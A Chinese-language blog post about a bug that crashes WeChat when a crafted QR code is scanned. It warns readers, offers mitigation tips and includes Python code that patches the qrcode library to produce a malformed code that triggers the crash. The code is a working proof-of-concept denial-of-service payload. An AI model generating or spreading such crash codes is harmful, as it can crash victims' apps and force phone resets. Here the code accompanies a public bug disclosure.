微信扫码闪退bug

今天发现好多人在发这个bug, 我也跟一下风,
下面的二维码先别扫,移动端打开就会闪退哦

微信扫码闪退bug_第1张图片

好奇的话尝试一两次就可以了,别尝试次数太多,下面的这个也是

微信扫码闪退bug_第2张图片

多次尝试会触发微信的安全模式。一些小内存手机甚至需要重置手机才可以​。

二维码本质上就是一个url网址,扫码,解析出这个网址​并访问。

当然如果不幸打开过,可以尝试用清空聊天记录,或者清空那张图片的方式来避免再次中招,看了一下从事安全朋友们的分析,说是某讯在arm实现的BLAS矩阵库有bug, 导致arm机型在qr识别时,全部中招,鸿蒙无这个问题。

详细代码见文章最后,下面是部分代码​。

import qrcode
from qrcode.util import *def reproduce(self, num, length):
    if num == 0:
        num = 233
    for i in range(length):
        self.put_bit(((num >> (length - i - 1)) & 1) == 1)
​
qrcode.util.BitBuffer.put = reproduce
​
res = qrcode.QRCode(2, qrcode.constants.ERROR_CORRECT_M, mask_pattern=0)
​
modeNumber = QRData('1145141', MODE_NUMBER)
modeByte = QRData(b'.', MODE_8BIT_BYTE)
hackByte = QRData(b'', MODE_8BIT_BYTE)
​
res.add_data(modeNumber)
res.add_data(modeByte)
res.add_data(modeNumber)
res.add_data(modeByte)
res.add_data(modeNumber)
res.add_data(modeByte)
res.add_data(modeNumber)
res.add_data(hackByte)
​
res.make_image().show()


欢迎关注微信公众号:小生听雨园
md这狗平台审核真恶心,二维码放不出来,
微信扫码闪退bug_第3张图片

你可能感兴趣的:(微信,bug)